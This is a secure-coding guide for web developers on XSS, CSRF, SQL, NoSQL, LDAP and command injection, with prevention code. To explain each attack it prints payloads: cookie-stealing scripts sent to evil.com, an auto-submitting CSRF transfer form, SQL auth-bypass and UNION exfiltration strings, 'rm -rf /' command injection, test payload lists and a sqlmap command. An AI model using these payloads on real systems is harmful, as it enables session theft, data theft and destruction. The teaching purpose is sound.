A

Common Vulnerabilities (OWASP Top 10)

securityxsscsrfsql-injectionowaspvulnerabilitiesweb-security

Common Vulnerabilities (OWASP Top 10)

The OWASP Top 10 represents the most critical security risks to web applications. This article focuses on the three vulnerabilities you're most likely to encounter (or accidentally create) as a developer: Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), and Injection attacks. Understanding these deeply will prevent the majority of security issues in your code.

XSS (Cross-Site Scripting)

XSS occurs when an attacker injects malicious scripts into content that other users view. The victim's browser executes the script because it trusts content from your domain. XSS can steal session cookies, redirect users to phishing sites, or modify page content.

Types of XSS

Reflected XSS

The malicious script comes from the current HTTP request. The attacker tricks a user into clicking a crafted link.

https://example.com/search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

If your search page echoes the query parameter without encoding:

<!-- Vulnerable template -->
<p>You searched for: ${query}</p>

<!-- Rendered output -->
<p>You searched for: <script>document.location='https://evil.com/steal?cookie='+document.cookie</script></p>

The script executes, and the user's cookies go to the attacker.

Stored XSS

The malicious script is permanently stored on the server (in a database, comment, forum post, etc.) and served to every user who views that content.

// A user submits this as their "bio"
const maliciousBio = `Check out my profile! <script>
  fetch('https://evil.com/steal', {
    method: 'POST',
    body: JSON.stringify({
      cookies: document.cookie,
      localStorage: JSON.stringify(localStorage)
    })
  });
</script>`;

// If displayed without encoding, every visitor gets their data stolen

Stored XSS is more dangerous than reflected because:

  • No special link is needed—victims just browse normally
  • It affects everyone who views the content
  • It persists until someone removes it

DOM-based XSS

The vulnerability exists entirely in client-side JavaScript. The server never sees the malicious payload.

// Vulnerable code
const name = new URLSearchParams(window.location.search).get('name');
document.getElementById('welcome').innerHTML = `Welcome, ${name}!`;

// Attack URL
// https://example.com/page?name=<img src=x onerror=alert(document.cookie)>

The payload is in the URL fragment or query string and never hits the server, making it harder to detect in server logs.

Preventing XSS

1. Use Framework Auto-Escaping

Modern frameworks escape output by default. Use them correctly:

// React - Safe by default
function UserProfile({ name }: { name: string }) {
  return <div>Welcome, {name}</div>;  // Automatically escaped
}

// React - DANGER: bypasses escaping
function UnsafeComponent({ html }: { html: string }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;  // XSS risk!
}
<!-- Vue - Safe by default -->
<template>
  <div>Welcome, {{ name }}</div>  <!-- Automatically escaped -->
</template>

<!-- Vue - DANGER: bypasses escaping -->
<template>
  <div v-html="userContent"></div>  <!-- XSS risk! -->
</template>
---
// Astro - Safe by default
const userInput = "<script>alert('xss')</script>";
---
<div>{userInput}</div>  <!-- Rendered as text, not HTML -->

<!-- DANGER: bypasses escaping -->
<div set:html={userContent} />  <!-- XSS risk! -->

2. Sanitize When You Must Allow HTML

Sometimes you need to render user HTML (rich text editors, markdown). Use a sanitization library:

// Using DOMPurify (browser) or isomorphic-dompurify (Node)
import DOMPurify from 'dompurify';

const dirty = '<img src=x onerror=alert(1)> <b>Bold text</b>';
const clean = DOMPurify.sanitize(dirty);
// Result: '<b>Bold text</b>'

// Configure allowed tags
const config = {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
  ALLOWED_ATTR: ['href', 'title'],
};
const safeHtml = DOMPurify.sanitize(dirty, config);
// Using sanitize-html (Node.js)
import sanitizeHtml from 'sanitize-html';

const clean = sanitizeHtml(dirty, {
  allowedTags: ['b', 'i', 'em', 'strong', 'a', 'p'],
  allowedAttributes: {
    'a': ['href', 'title']
  },
  allowedSchemes: ['http', 'https', 'mailto']  // Prevent javascript: URLs
});

3. Content Security Policy

CSP is your last line of defense. Even if XSS gets through, CSP can prevent the script from executing. See the HTTP Security Headers article for full CSP configuration.

Content-Security-Policy: script-src 'self'; object-src 'none';

4. HttpOnly Cookies

Even if XSS occurs, attackers can't steal cookies marked HttpOnly:

// Express.js
res.cookie('session', token, {
  httpOnly: true,   // Not accessible via JavaScript
  secure: true,     // HTTPS only
  sameSite: 'lax'   // CSRF protection
});

XSS Contexts and Encoding

Different contexts require different encoding:

<!-- HTML body - HTML entity encoding -->
<div>USER_INPUT</div>
<!-- & becomes &amp;, < becomes &lt;, etc. -->

<!-- HTML attribute - attribute encoding -->
<input value="USER_INPUT">
<!-- Quote USER_INPUT and escape quotes -->

<!-- JavaScript string - JavaScript encoding -->
<script>var name = "USER_INPUT";</script>
<!-- Escape quotes, backslashes, newlines -->

<!-- URL parameter - URL encoding -->
<a href="/search?q=USER_INPUT">
<!-- Use encodeURIComponent() -->

<!-- CSS value - CSS encoding -->
<div style="background: USER_INPUT;">
<!-- Avoid if possible; very hard to do safely -->

Most frameworks handle HTML body encoding, but be careful in other contexts:

// Building a URL - always encode
const searchUrl = `/search?q=${encodeURIComponent(userQuery)}`;

// Inserting into JavaScript - use JSON.stringify
const script = `<script>
  const userData = ${JSON.stringify(userData)};
</script>`;

CSRF (Cross-Site Request Forgery)

CSRF tricks a logged-in user's browser into making unwanted requests to a site where they're authenticated. The attacker can't see the response, but the action still happens.

How CSRF Works

  1. User logs into bank.com and gets a session cookie
  2. User visits evil-site.com (or views a malicious email)
  3. Evil site contains: <img src="https://bank.com/transfer?to=attacker&amount=1000">
  4. Browser sends the request with the user's cookies
  5. Bank processes the transfer because the session is valid
<!-- Attacker's page -->
<html>
  <body>
    <!-- Invisible form that auto-submits -->
    <form action="https://bank.com/transfer" method="POST" id="csrf-form">
      <input type="hidden" name="to" value="attacker-account">
      <input type="hidden" name="amount" value="10000">
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

Preventing CSRF

The most effective modern defense. It prevents cookies from being sent with cross-site requests:

// Express.js
res.cookie('session', token, {
  sameSite: 'lax',  // Sent with top-level navigation, not cross-site POST
  // sameSite: 'strict',  // Never sent cross-site (can break some UX)
  secure: true,
  httpOnly: true
});
SameSite Value Behavior
strict Cookie never sent from other sites. Safest, but breaks coming from external links
lax Cookie sent for top-level GET navigations. Good balance of security and UX
none Cookie always sent (requires secure: true). Only use when necessary

Note: SameSite=Lax is the default in modern browsers, but explicitly set it anyway.

2. CSRF Tokens

For traditional form submissions, include a unique token that attackers can't guess:

// Server: Generate token and store in session
import crypto from 'crypto';

function generateCsrfToken(session: Session): string {
  const token = crypto.randomBytes(32).toString('hex');
  session.csrfToken = token;
  return token;
}

// Verify on form submission
function verifyCsrfToken(session: Session, token: string): boolean {
  return session.csrfToken === token && token.length > 0;
}
<!-- Include in every form -->
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="{{ csrfToken }}">
  <input type="text" name="amount">
  <button type="submit">Transfer</button>
</form>
// Express middleware to verify
app.use((req, res, next) => {
  if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
    const token = req.body._csrf || req.headers['x-csrf-token'];
    if (!verifyCsrfToken(req.session, token)) {
      return res.status(403).json({ error: 'Invalid CSRF token' });
    }
  }
  next();
});

For stateless APIs, use a double-submit pattern:

// Set a random token in a cookie
res.cookie('csrf-token', crypto.randomBytes(32).toString('hex'), {
  sameSite: 'strict',
  secure: true,
  // NOT httpOnly - JavaScript needs to read it
});

// Client sends the same token in a header
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': getCookie('csrf-token'),
    'Content-Type': 'application/json'
  },
  body: JSON.stringify(data)
});

// Server verifies cookie value matches header value
app.use((req, res, next) => {
  if (req.method !== 'GET') {
    const cookieToken = req.cookies['csrf-token'];
    const headerToken = req.headers['x-csrf-token'];
    if (!cookieToken || cookieToken !== headerToken) {
      return res.status(403).json({ error: 'CSRF validation failed' });
    }
  }
  next();
});

This works because an attacker's site can't read your cookies to copy the value into a header.

4. Verify Origin Headers

Check Origin and Referer headers for state-changing requests:

function verifyOrigin(req: Request): boolean {
  const origin = req.headers.origin || req.headers.referer;
  if (!origin) {
    // Missing origin might be legitimate (some browsers, privacy extensions)
    // Decide based on your threat model
    return false;
  }

  const allowedOrigins = [
    'https://yourdomain.com',
    'https://www.yourdomain.com'
  ];

  try {
    const url = new URL(origin);
    return allowedOrigins.includes(url.origin);
  } catch {
    return false;
  }
}

CSRF and APIs

If your API only accepts Content-Type: application/json and is accessed via JavaScript (not HTML forms), you have some inherent protection:

  • HTML forms can only send application/x-www-form-urlencoded or multipart/form-data
  • Custom headers (like Content-Type: application/json) trigger CORS preflight
  • Cross-origin requests without CORS approval are blocked

However, don't rely solely on this:

  • Some browsers have had bugs
  • Older browsers might not enforce it
  • Your threat model might change

Best practice: Use SameSite cookies AND verify the Origin header for APIs.

Injection Attacks

Injection occurs when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data tricks the interpreter into executing unintended commands.

SQL Injection

The classic injection attack. Happens when user input is concatenated into SQL queries:

// VULNERABLE - Never do this
const userId = req.params.id;  // User provides: 1; DROP TABLE users; --
const query = `SELECT * FROM users WHERE id = ${userId}`;
await db.execute(query);
// Executed: SELECT * FROM users WHERE id = 1; DROP TABLE users; --

Classic Examples

Authentication bypass:

-- Vulnerable query
SELECT * FROM users WHERE username = '${username}' AND password = '${password}'

-- Attack: username = ' OR '1'='1' --
-- Becomes:
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = ''
-- Returns all users, authentication bypassed

Data exfiltration:

-- Vulnerable query
SELECT * FROM products WHERE id = ${id}

-- Attack: id = 1 UNION SELECT username, password, null FROM users --
-- Returns product data AND all usernames/passwords

Blind SQL injection:

-- When you can't see query results directly
-- Attack: id = 1 AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a'
-- If page loads normally, first character of admin password is 'a'
-- Repeat for each character position

Prevention: Parameterized Queries

Always use parameterized queries (also called prepared statements):

// PostgreSQL with pg
import { Pool } from 'pg';
const pool = new Pool();

// Safe - parameter is never part of SQL syntax
const result = await pool.query(
  'SELECT * FROM users WHERE email = $1 AND status = $2',
  [email, status]
);
// MySQL with mysql2
import mysql from 'mysql2/promise';
const connection = await mysql.createConnection(config);

// Safe - ? placeholders
const [rows] = await connection.execute(
  'SELECT * FROM users WHERE email = ? AND status = ?',
  [email, status]
);
// SQLite with better-sqlite3
import Database from 'better-sqlite3';
const db = new Database('app.db');

// Safe - named parameters
const user = db.prepare('SELECT * FROM users WHERE email = @email').get({ email });

// Safe - positional parameters
const user = db.prepare('SELECT * FROM users WHERE email = ?').get(email);
// Turso/libSQL
import { createClient } from '@libsql/client';
const client = createClient({ url: process.env.TURSO_DB_URL });

// Safe - args array
const result = await client.execute({
  sql: 'SELECT * FROM users WHERE email = ?',
  args: [email]
});

Prevention: Query Builders and ORMs

ORMs and query builders handle parameterization automatically:

// Drizzle ORM
import { eq, and } from 'drizzle-orm';

const users = await db
  .select()
  .from(usersTable)
  .where(and(
    eq(usersTable.email, email),
    eq(usersTable.status, 'active')
  ));
// Prisma
const user = await prisma.user.findFirst({
  where: {
    email: email,
    status: 'active'
  }
});
// Knex.js
const users = await knex('users')
  .where('email', email)
  .andWhere('status', 'active');

Warning: ORMs can still be vulnerable if you use raw query features incorrectly:

// STILL VULNERABLE - raw query with string interpolation
const users = await prisma.$queryRaw`SELECT * FROM users WHERE email = '${email}'`;

// Safe - using Prisma.sql for parameters
import { Prisma } from '@prisma/client';
const users = await prisma.$queryRaw(
  Prisma.sql`SELECT * FROM users WHERE email = ${email}`
);

Dynamic Queries

Sometimes you need dynamic column names or table names. These can't be parameterized:

// This won't work - you can't parameterize identifiers
const query = 'SELECT * FROM ? WHERE ? = ?';  // ❌

// Solution: Whitelist valid values
const VALID_COLUMNS = ['name', 'email', 'created_at'] as const;
const VALID_DIRECTIONS = ['ASC', 'DESC'] as const;

function buildOrderBy(column: string, direction: string): string {
  if (!VALID_COLUMNS.includes(column as any)) {
    throw new Error('Invalid column name');
  }
  if (!VALID_DIRECTIONS.includes(direction as any)) {
    throw new Error('Invalid sort direction');
  }
  return `ORDER BY ${column} ${direction}`;
}

// Now safe to use in query
const orderClause = buildOrderBy(userInput.column, userInput.direction);
const query = `SELECT id, name, email FROM users ${orderClause}`;

NoSQL Injection

NoSQL databases like MongoDB have their own injection vectors:

// VULNERABLE - if req.body comes directly from user
const user = await db.collection('users').findOne({
  username: req.body.username,
  password: req.body.password
});

// Attack payload:
// { "username": "admin", "password": { "$ne": "" } }
// This matches where password is not empty - bypasses auth!

// Another attack:
// { "username": { "$gt": "" }, "password": { "$gt": "" } }
// Matches any document - returns first user

Prevention

// 1. Validate input types
import { z } from 'zod';

const LoginSchema = z.object({
  username: z.string().min(1).max(100),
  password: z.string().min(1).max(100),
});

const parsed = LoginSchema.parse(req.body);
// If password is an object, this throws

// 2. Explicitly convert to string
const user = await db.collection('users').findOne({
  username: String(req.body.username),
  password: String(req.body.password)  // Object becomes "[object Object]"
});

// 3. Use mongo-sanitize to strip $ keys
import mongoSanitize from 'express-mongo-sanitize';
app.use(mongoSanitize());
// Removes any keys that start with $ or contain .

Command Injection

When user input ends up in shell commands:

// VULNERABLE
import { exec } from 'child_process';

const filename = req.query.file;  // User provides: file.txt; rm -rf /
exec(`cat ${filename}`, (error, stdout) => {
  res.send(stdout);
});
// Executes: cat file.txt; rm -rf /

Prevention

// 1. Use execFile instead of exec - doesn't invoke shell
import { execFile } from 'child_process';

execFile('cat', [filename], (error, stdout) => {
  // filename is passed as an argument, not interpolated into shell
  res.send(stdout);
});

// 2. Validate input against a whitelist
const ALLOWED_FILES = ['readme.txt', 'help.txt', 'faq.txt'];
if (!ALLOWED_FILES.includes(filename)) {
  return res.status(400).send('Invalid file');
}

// 3. Use purpose-built libraries instead of shelling out
import fs from 'fs/promises';
const content = await fs.readFile(path.join(SAFE_DIRECTORY, filename), 'utf8');

LDAP Injection

If your app uses LDAP for authentication:

// VULNERABLE
const filter = `(&(uid=${username})(userPassword=${password}))`;
ldapClient.search(baseDN, { filter });

// Attack: username = *)(uid=*))(|(uid=*
// Becomes: (&(uid=*)(uid=*))(|(uid=*)(userPassword=password))
// Matches any user!

Prevention

// Escape special characters
function escapeLDAP(str: string): string {
  return str
    .replace(/\\/g, '\\5c')
    .replace(/\*/g, '\\2a')
    .replace(/\(/g, '\\28')
    .replace(/\)/g, '\\29')
    .replace(/\x00/g, '\\00');
}

const filter = `(&(uid=${escapeLDAP(username)})(userPassword=${escapeLDAP(password)}))`;

Common Patterns and Gotchas

Input Validation is Not Enough

Validation checks that input matches expected format. Encoding/escaping ensures input can't be interpreted as code. You need both:

// Validation alone is insufficient
function isValidEmail(email: string): boolean {
  return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
}

// This passes validation but contains XSS
const email = "[email protected]<script>alert(1)</script>";
isValidEmail("[email protected]");  // true - the malicious part is ignored

// You still need output encoding when displaying

Don't Roll Your Own

Use established libraries:

  • SQL: Use your database driver's parameterized queries
  • XSS: Use DOMPurify, sanitize-html, or your framework's built-in escaping
  • CSRF: Use csurf (Express), Django's CSRF middleware, or framework built-ins
  • Passwords: Use bcrypt, argon2, or scrypt—never SHA256 or MD5

Context Matters

A value safe in one context can be dangerous in another:

const userInput = "onclick=alert(1)";

// Safe in text context
`<p>${escapeHtml(userInput)}</p>`;
// Output: <p>onclick=alert(1)</p> - displayed as text

// Dangerous in attribute context (even escaped!)
`<div ${escapeHtml(userInput)}></div>`;
// Output: <div onclick=alert(1)></div> - executes!

// Solution: don't put user input in dangerous positions
// Or use a templating engine that understands context

Testing for Vulnerabilities

Manual Testing

// XSS test payloads
const xssPayloads = [
  '<script>alert(1)</script>',
  '<img src=x onerror=alert(1)>',
  '"><script>alert(1)</script>',
  "javascript:alert(1)",
  '<svg onload=alert(1)>',
];

// SQL injection test payloads
const sqlPayloads = [
  "' OR '1'='1",
  "1; DROP TABLE users--",
  "1 UNION SELECT null,null,null--",
  "1' AND SLEEP(5)--",
];

Automated Tools

  • OWASP ZAP: Free, open-source web app security scanner
  • Burp Suite: Industry-standard web security testing tool
  • sqlmap: Automated SQL injection detection and exploitation
  • Snyk: Finds vulnerabilities in dependencies
# Run sqlmap against a URL
sqlmap -u "https://example.com/search?q=test" --batch --dbs

# Run ZAP in daemon mode for CI
docker run -t owasp/zap2docker-stable zap-baseline.py -t https://example.com

See Also

Last updated: March 23, 2026